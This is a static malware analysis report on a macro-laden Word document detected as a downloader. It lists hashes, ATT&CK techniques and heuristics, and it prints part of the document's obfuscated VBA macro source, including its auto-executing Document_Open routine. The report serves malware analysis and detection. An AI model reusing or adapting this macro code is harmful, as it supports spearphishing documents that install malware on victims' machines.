Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 718fec0c142f6d26…

MALICIOUS

Office (OOXML)

106.2 KB Created: 2021-09-29 22:23:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-10-05
MD5: d5c4faa8792eee73e7f96cc3ed52ef6a SHA-1: d5f6d95b969aa25ce10982b4ad3281236bb2ee48 SHA-256: 718fec0c142f6d265c70ade4269dd7582709bc00b71e8f5cd2c795dea1e36c33
330 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros, specifically an Auto_Open and Document_Open macro, which are designed to execute automatically. The document body explicitly instructs the user to 'Enable Content' to fix compatibility issues, a common social engineering tactic. The VBA script attempts to download and execute a second-stage payload, indicated by the presence of CreateObject calls and the ClamAV detection as a downloader.

Heuristics 9

  • ClamAV: Doc.Downloader.Shellhide-10014935-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Shellhide-10014935-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 16303 bytes
SHA-256: 0eaf88122b78fec094e57212288218049e48fd2fb013da066f93684018e84b41
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Dim bSaved As Boolean

Sub Auto_Open()

End Sub

Sub Document_Open()


Call fkeSzYxLrhuhRVGJiwLwclRuspXnlHOkQQLvdcrjtqRkljfeKddNqdpozjZuwoUXQTwyaJjHdtqbrQiCiKdMYCURXR

Call iMZhgBKouwiXWuJfNJrPlTeEoJuEzwqyPBCPQEIBAFXCgDJNjOTIHLZnRjcQHbIYKrywncYhINIWBCdppvoJFcEBiv


If Len(Dir(Environ("AppData") + "\*.txt")) = 0 Then
RuIXdbXbZrJsLewgrkgkIVJlqRVKVZvwCjPAVVDFYJsmnbu
Else

End If

End Sub

Sub fkeSzYxLrhuhRVGJiwLwclRuspXnlHOkQQLvdcrjtqRkljfeKddNqdpozjZuwoUXQTwyaJjHdtqbrQiCiKdMYCURXR()

Dim rMuPCvUeYbzWcTGSAJfyQegypxAsPyzBljKGrAxQrjVDlWnkVpKMXaKMGvQ As String, XsinaEJSOxrwGdNlmgQAVikPuZ As String
Dim MqcLQkajnWyncygEwxmlvnugETdDhGRbCUMtLTIPpgapdGoLLvUlbmIzLPJtYgVWZqYtuuG As Range, SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo As Range
Dim voXvGkYUJt As Range, GfqdEWWQCHtDtXsaiNNWiHxOXTeECFctzEtNwlxHZqIFfoLYnxgYZbRoyVib As Range, KBFXvyAmJHAbTMMVeMOOnfxWtYtRRuDvxPUdSuekIQCJHXZDApHGdlP As Range

'Setting up the Ranges
Set MqcLQkajnWyncygEwxmlvnugETdDhGRbCUMtLTIPpgapdGoLLvUlbmIzLPJtYgVWZqYtuuG = ActiveDocument.Range
Set SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo = ActiveDocument.Range
Set voXvGkYUJt = ActiveDocument.Range

ActiveDocument.ActiveWindow.View.DisplayBackgrounds = True
ActiveDocument.Background.Fill.ForeColor.RGB = RGB(225, 225, 225)
ActiveDocument.Background.Fill.Transparency = 0#

'Set your Start and End Find words here to cleanup the script
rMuPCvUeYbzWcTGSAJfyQegypxAsPyzBljKGrAxQrjVDlWnkVpKMXaKMGvQ = "This Document Is"
XsinaEJSOxrwGdNlmgQAVikPuZ = "Version."

'Starting the Find First Word
With MqcLQkajnWyncygEwxmlvnugETdDhGRbCUMtLTIPpgapdGoLLvUlbmIzLPJtYgVWZqYtuuG.Find
.Text = rMuPCvUeYbzWcTGSAJfyQegypxAsPyzBljKGrAxQrjVDlWnkVpKMXaKMGvQ
.Replacement.Text = ""
.Forward = True
.Wrap = wdFindAsk
.Format = True
.MatchCase = False
.MatchWholeWord = False
.MatchWildcards = False
.MatchSoundsLike = False
.MatchAllWordForms = False

'Execute the Find
Do While .Execute
'If Found then do extra script
If .Found = True Then
'Setting the Found range to the GfqdEWWQCHtDtXsaiNNWiHxOXTeECFctzEtNwlxHZqIFfoLYnxgYZbRoyVib
Set GfqdEWWQCHtDtXsaiNNWiHxOXTeECFctzEtNwlxHZqIFfoLYnxgYZbRoyVib = MqcLQkajnWyncygEwxmlvnugETdDhGRbCUMtLTIPpgapdGoLLvUlbmIzLPJtYgVWZqYtuuG
'Having these Selections during testing is benificial to test your script
GfqdEWWQCHtDtXsaiNNWiHxOXTeECFctzEtNwlxHZqIFfoLYnxgYZbRoyVib.Select

'Setting the SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo up for the remainder of the document form the end of the rMuPCvUeYbzWcTGSAJfyQegypxAsPyzBljKGrAxQrjVDlWnkVpKMXaKMGvQ
SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo.Start = GfqdEWWQCHtDtXsaiNNWiHxOXTeECFctzEtNwlxHZqIFfoLYnxgYZbRoyVib.End
SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo.End = ActiveDocument.Content.End

'Having these Selections during testing is benificial to test your script
SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo.Select


'Setting the Find to look for the End Word
With SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo.Find
.Text = XsinaEJSOxrwGdNlmgQAVikPuZ
.Execute

'If Found then do extra script
If .Found = True Then
'Setting the Found range to the KBFXvyAmJHAbTMMVeMOOnfxWtYtRRuDvxPUdSuekIQCJHXZDApHGdlP
Set KBFXvyAmJHAbTMMVeMOOnfxWtYtRRuDvxPUdSuekIQCJHXZDApHGdlP = SzCrtxZGklYuUudTGEpMLEDzFUubZZaHjnNvaeevieVqBsoHtyNddgTnHoXBHfSxkBmmOMrkUDckiEeWHyYwolRYmyBdZo

'Having these Selections during testing is benificial to test your script
KBFXvyAmJHAb
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 151552 bytes
SHA-256: 3be7dcf52d92a869a0e443e8d5d4075991717e94af0bab6307c65ffda5d59e20
Detection
ClamAV: Doc.Downloader.Shellhide-10014935-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.